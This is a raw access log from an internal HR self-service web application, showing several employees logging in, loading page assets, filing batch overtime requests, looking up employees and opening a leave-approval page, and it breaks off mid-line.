[01/Dec/2025:08:36:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:36:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - 192.168.11.104 - - [01/Dec/2025:08:36:59 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:36:59 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 - 192.168.11.104 - - [01/Dec/2025:08:36:59 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:36:59 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 - 192.168.11.104 - - [01/Dec/2025:08:36:59 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 - 192.168.11.104 - - [01/Dec/2025:08:36:59 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:36:59 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:36:59 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 192.168.11.104 - - [01/Dec/2025:08:36:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:36:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 192.168.11.104 - - [01/Dec/2025:08:36:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:36:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 192.168.11.104 - - [01/Dec/2025:08:36:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 192.168.11.104 - - [01/Dec/2025:08:36:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:36:59 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:36:59 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 192.168.11.104 - - [01/Dec/2025:08:36:59 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:36:59 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 192.168.11.104 - - [01/Dec/2025:08:36:59 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 192.168.11.104 - - [01/Dec/2025:08:36:59 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:36:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:36:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 192.168.11.104 - - [01/Dec/2025:08:37:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:37:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 192.168.11.104 - - [01/Dec/2025:08:37:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:37:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 192.168.11.104 - - [01/Dec/2025:08:37:00 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:37:00 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.104 - - [01/Dec/2025:08:37:05 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:37:05 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.104 - - [01/Dec/2025:08:37:06 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 192.168.11.104 - - [01/Dec/2025:08:37:06 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:37:06 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 192.168.11.104 - - [01/Dec/2025:08:37:06 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:37:06 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:37:06 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 192.168.11.104 - - [01/Dec/2025:08:37:06 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:37:06 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 192.168.11.104 - - [01/Dec/2025:08:37:06 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:37:06 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 192.168.11.104 - - [01/Dec/2025:08:37:06 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:37:06 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 192.168.11.104 - - [01/Dec/2025:08:37:06 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:37:06 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 192.168.11.104 - - [01/Dec/2025:08:37:06 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:37:06 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 192.168.11.104 - - [01/Dec/2025:08:37:06 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 192.168.11.104 - - [01/Dec/2025:08:37:06 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:37:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:37:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 192.168.11.104 - - [01/Dec/2025:08:37:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:37:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 192.168.11.104 - - [01/Dec/2025:08:37:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:37:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.104 - - [01/Dec/2025:08:37:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:37:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 192.168.11.104 - - [01/Dec/2025:08:37:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:37:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 192.168.11.104 - - [01/Dec/2025:08:37:15 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:37:15 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 192.168.11.104 - - [01/Dec/2025:08:37:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:37:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.104 - - [01/Dec/2025:08:37:16 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:37:16 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 192.168.11.104 - - [01/Dec/2025:08:37:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:37:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.104 - - [01/Dec/2025:08:37:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:37:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 192.168.11.104 - - [01/Dec/2025:08:37:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:37:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 192.168.11.104 - - [01/Dec/2025:08:38:39 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.20424396245881626 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:38:39 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.20424396245881626 HTTP/1.1" 200 8988 192.168.11.104 - - [01/Dec/2025:08:38:42 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.20424396245881626 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.20424396245881626" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:38:42 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.20424396245881626 HTTP/1.1" 200 27500 192.168.11.104 - - [01/Dec/2025:08:39:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4277 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:39:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4277 192.168.11.104 - - [01/Dec/2025:08:39:06 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:39:06 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 192.168.11.104 - - [01/Dec/2025:08:39:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:39:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 192.168.11.104 - - [01/Dec/2025:08:39:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:39:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.104 - - [01/Dec/2025:08:39:35 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6638371952522841 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:39:35 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6638371952522841 HTTP/1.1" 200 8988 192.168.11.104 - - [01/Dec/2025:08:39:36 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6638371952522841 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6638371952522841" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:39:36 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6638371952522841 HTTP/1.1" 200 27500 192.168.11.104 - - [01/Dec/2025:08:39:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:39:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 192.168.11.104 - - [01/Dec/2025:08:39:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:39:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.104 - - [01/Dec/2025:08:40:16 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6444961500179626 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:40:16 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6444961500179626 HTTP/1.1" 200 8988 192.168.11.104 - - [01/Dec/2025:08:40:20 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6444961500179626 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6444961500179626" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:40:20 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6444961500179626 HTTP/1.1" 200 27500 192.168.40.45 - - [01/Dec/2025:08:40:29 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:08:40:29 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.45 - - [01/Dec/2025:08:40:33 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:08:40:33 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:08:40:33 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:08:40:33 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.40.45 - - [01/Dec/2025:08:40:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:08:40:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.40.45 - - [01/Dec/2025:08:40:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 14344 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:08:40:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 14344 192.168.11.104 - - [01/Dec/2025:08:40:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4071 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:40:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4071 192.168.11.108 - - [01/Dec/2025:08:40:39 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:40:39 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:40:39 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:40:39 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 192.168.11.108 - - [01/Dec/2025:08:40:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:40:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.11.104 - - [01/Dec/2025:08:40:43 +0800] "GET 